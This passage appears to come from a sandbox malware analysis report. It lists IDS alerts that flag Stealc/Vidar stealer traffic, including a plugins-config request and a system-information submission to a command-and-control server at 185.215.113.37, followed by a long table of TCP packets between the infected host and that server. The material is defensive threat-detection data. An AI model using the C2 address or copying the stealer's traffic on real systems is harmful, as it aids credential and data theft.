2024-10-13T11:54:03.474017+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:03.490946+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-13T11:54:04.521074+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:05.106782+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:11.147320+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:12.350521+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:13.042116+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:13.622971+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:15.354494+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:15.770031+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 11:54:02.013819933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:02.019700050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:02.019824028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:02.021884918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:02.027199030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:02.749953985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:02.750035048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:02.755476952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:02.760792971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.004868984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.005187035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.006746054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.013205051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.239504099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.239588976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.239806890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.239806890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.241067886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.246283054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.473839045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.473925114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.473978996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.474016905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.474016905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.474033117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.474055052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.474097967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.482089996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.482162952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.482215881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.482261896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.482261896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.483340979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.484083891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.490946054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.715780973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.715975046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.779784918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.779786110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:03.785183907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785250902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785295010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785335064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785372972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785412073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:03.785450935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:04.520970106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:04.521074057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:04.875978947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:04.883824110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106554031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106692076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106744051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106781960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.106790066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106842995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.106843948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106893063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106906891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.106944084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.106945038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.106995106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.106995106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107045889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107045889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.107099056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.107353926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107454062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107502937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107538939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.107548952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.107629061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.235577106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235740900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235788107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235806942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.235843897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235874891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.235913038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235920906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.235963106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.235975981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236015081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236017942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236064911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236073017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236113071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236152887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236196995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236530066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236579895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236627102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236746073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236813068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236890078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236892939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236938953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236973047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.236991882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.236996889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.237040997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.237047911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.237123966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.237870932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.237945080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.237951994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238056898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238080978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238106966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238116026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238161087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238168001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238224030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238472939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238524914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238538980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238574982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238578081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238627911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.238636971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.238691092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365398884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365468979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365521908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365571976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365628004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365644932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365664005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365696907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365700006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365746021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365766048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365794897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365829945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365843058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365849972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.365894079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.365943909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366055965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366066933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366116047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366148949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366184950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366193056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366235018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366244078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366286993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366297007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366364002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366571903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366637945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366642952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366691113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366700888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366739988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366755962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366791010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366802931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366838932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366852999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366889000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366899967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.366939068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.366951942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367002964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367654085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367731094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367736101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367784023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367794991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367834091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367852926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367891073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367898941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367942095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.367960930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.367994070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368002892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.368047953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368051052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.368108988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.368772030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368845940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368853092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.368897915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368907928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.368948936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.368957996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369004011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369007111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369057894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369076014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369108915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369118929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369162083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369165897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369225979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369355917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369406939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369430065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369453907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369456053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369512081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369538069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369564056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369575024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369616032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369627953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369668961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369677067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369714022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.369730949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.369771957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.494781017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.494915962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.494925976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.494968891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.494971991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495022058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495033026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495079041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495301962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495373011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495407104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495460987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495475054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495512009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495527029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495568991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495579958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495630026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495646000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495678902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495687962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495731115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495754004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495780945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495790005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495830059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495836020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495878935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495887041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495928049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495934963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.495979071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.495982885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496027946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496035099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496078014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496087074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496126890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496134043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496180058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496182919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496231079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496237993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496278048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496298075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496347904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496356010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496406078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496419907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496469021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496483088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496515989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496526003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496567011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496573925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496634007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496640921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496707916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496709108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496756077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496763945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496803999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496810913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496851921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496857882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496901035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496913910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.496953011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.496958971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497001886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497009039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497050047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497057915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497097969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497104883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497145891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497153997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497195959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497201920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497262955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497297049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497361898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497363091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497412920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497422934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497459888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497464895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497509956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497533083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497558117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497560978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497607946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497612000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497657061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497664928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497704983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497714043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497754097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497762918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497802973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.497812033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.497857094 CEST	80	49730	185.215.113.37	192.168.2.4
